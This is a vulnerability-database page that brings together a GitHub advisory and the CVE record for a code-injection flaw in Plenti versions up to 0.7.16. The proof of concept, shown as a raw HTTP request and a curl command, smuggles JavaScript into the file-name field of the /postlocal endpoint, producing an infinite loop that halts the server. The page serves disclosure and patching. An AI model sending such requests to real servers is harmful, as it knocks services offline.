github - ghsa-mj4v-hp69-27x5

ghsa-mj4v-hp69-27x5

Vulnerability from github

Published

2025-02-05 21:30

Modified

2025-03-14 19:58

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

Plenti - Code Injection - Denial of Services

Details

Summary

While pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.

Details

While posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.

Last part of compileSvelte function ssrStr parameter executed in v8go engine.

This cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can't use all javascript metod, if there is no any vulnerability in v8go we can't escape sandbox and can't run dangerous command like opening socket etc. But we can create infinite loop and the plenti can't response any request.

After posting a file with name 'layouts/global/test; eval(while(1););var test.svelte' we can see the ssrStr parameter include our javascript codes.

Note: Eval usage not must I just want to ensure that it's run javascript commands.

PoC

Request ``` POST /postlocal HTTP/1.1 Host: localhost:3000 Content-Length: 125 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: keep-alive

[{"action":"create","encoding":"text","file":"layouts/global/test; eval(while(1););var test.svelte","contents":"anethole"}] ``` Video PoC

Curl Request curl --path-as-is -i -s -k -X $'POST' \ -H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \ --data-binary $'[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]' \ $'http://localhost:3000/postlocal'

Impact

It's a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.

Note: Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like CVE-2024-5830,

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.16"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/plentico/plenti"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-26260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-05T21:30:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nWhile pushing a file via postLocal method if user add javascript code in file parameter that codes can exe in v8go context.\n\n### Details\nWhile posting a file via postLocal, any attacker will add javascript codes to file parameter. That parameter content pass to componentSignature method after some validation. After that componentSignature parameter concat with ssrStr parameter.\n\n\u003cimg width=\"1145\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a08a3fe5-2fbd-4a05-b93c-2ad127e6ee81\" /\u003e\n\nLast part of compileSvelte function ssrStr parameter executed in v8go engine.\n\n\u003cimg width=\"754\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4e622761-3324-48d6-8264-6dd6e09055af\" /\u003e\n\nThis cause to any one who can post a file also can push javascript code and run it. Thanks to v8go we can\u0027t use all javascript metod, if there is no any vulnerability in v8go we can\u0027t escape sandbox and can\u0027t run dangerous command like opening socket etc. But we can create infinite loop and the plenti can\u0027t response any request.\n\nAfter posting a file with name \u0027layouts/global/test; eval(`while(1);`);var test.svelte\u0027 we can see the ssrStr parameter include our javascript codes.\n\n\u003cimg width=\"1023\" alt=\"image\" src=\"https://github.com/user-attachments/assets/369c7820-ff8a-4b9a-9cd3-6b0692f1dcf3\" /\u003e\n\n**Note**: Eval usage not must I just want to ensure that it\u0027s run javascript commands.\n\n### PoC\n**Request**\n```\nPOST /postlocal HTTP/1.1\nHost: localhost:3000\nContent-Length: 125\nContent-Type: application/json; charset=utf-8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]\n```\n**Video**\n![PoC](https://github.com/user-attachments/assets/2aca36a1-6989-4be8-a8d1-3b12960f3e9b)\n\n**Curl Request**\n```\ncurl --path-as-is -i -s -k -X $\u0027POST\u0027 \\\n    -H $\u0027Host: localhost:3000\u0027 -H $\u0027Content-Length: 125\u0027 -H $\u0027Content-Type: application/json; charset=utf-8\u0027 -H $\u0027User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36\u0027 -H $\u0027Accept-Encoding: gzip, deflate, br\u0027 -H $\u0027Connection: keep-alive\u0027 \\\n    --data-binary $\u0027[{\\\"action\\\":\\\"create\\\",\\\"encoding\\\":\\\"text\\\",\\\"file\\\":\\\"layouts/global/test; eval(`while(1);`);var test.svelte\\\",\\\"contents\\\":\\\"anethole\\\"}]\u0027 \\\n    $\u0027http://localhost:3000/postlocal\u0027\n```\n\n### Impact\nIt\u0027s a remote code execution vulnerability. Because of the sandbox we can show only Denial of Service impact. Any vulnerability will be exists in v8go that cause to escape sandbox, different impacts can be show.\n\n**Note:** Plenti is using V8GO and V8GO is using V8 version of 11.1.278. This version released at 25 January 2023. After this date some RCE vulnerabilities founded in V8 like [CVE-2024-5830](https://github.com/advisories/GHSA-fchp-8m28-g68f),",
  "id": "GHSA-mj4v-hp69-27x5",
  "modified": "2025-03-14T19:58:51Z",
  "published": "2025-02-05T21:30:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/plentico/plenti/commit/c3e72a9ebbc2a03f4b0f3104becbfc25e390cb8e"
    },
    {
      "type": "WEB",
      "url": "https://ahmetakan.com/2025/02/14/cve-2025-26260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/plentico/plenti"
    },
    {
      "type": "WEB",
      "url": "https://github.com/plentico/plenti/releases/tag/v0.7.17"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3454"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3515"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Plenti  - Code Injection - Denial of Services"
}

CVE-2025-26260 (GCVE-0-2025-26260)

Vulnerability from cvelistv5

Published

2025-03-12 00:00

Modified

2025-03-19 18:59

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

Summary

Plenti <= 0.7.16 is vulnerable to code execution. Users uploading '.svelte' files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution.

References

►

URL

Tags

	https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5
	https://github.com/plentico/plenti/releases/tag/v0.7.17
	https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260
	https://ahmetakan.com/2025/02/14/cve-2025-26260/

Impacted products

	Vendor	Product	Version
	n/a	n/a	Version: n/a

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 8.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-26260",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-19T18:57:58.185196Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-94",
                "description": "CWE-94 Improper Control of Generation of Code (\u0027Code Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-19T18:59:02.952Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Plenti \u003c= 0.7.16 is vulnerable to code execution. Users uploading \u0027.svelte\u0027 files with the /postLocal endpoint can define the file name as javascript codes. The server executes the uploaded file name in host, and cause code execution."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-03-12T15:11:08.246Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/plentico/plenti/security/advisories/GHSA-mj4v-hp69-27x5"
        },
        {
          "url": "https://github.com/plentico/plenti/releases/tag/v0.7.17"
        },
        {
          "url": "https://github.com/ahmetak4n/vulnerability-playground/tree/main/vulnerability-research/CVE-2025-26260"
        },
        {
          "url": "https://ahmetakan.com/2025/02/14/cve-2025-26260/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2025-26260",
    "datePublished": "2025-03-12T00:00:00.000Z",
    "dateReserved": "2025-02-07T00:00:00.000Z",
    "dateUpdated": "2025-03-19T18:59:02.952Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

ghsa-mj4v-hp69-27x5

Vulnerability from github

Summary

Details

PoC

Impact

CVE-2025-26260 (GCVE-0-2025-26260)

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature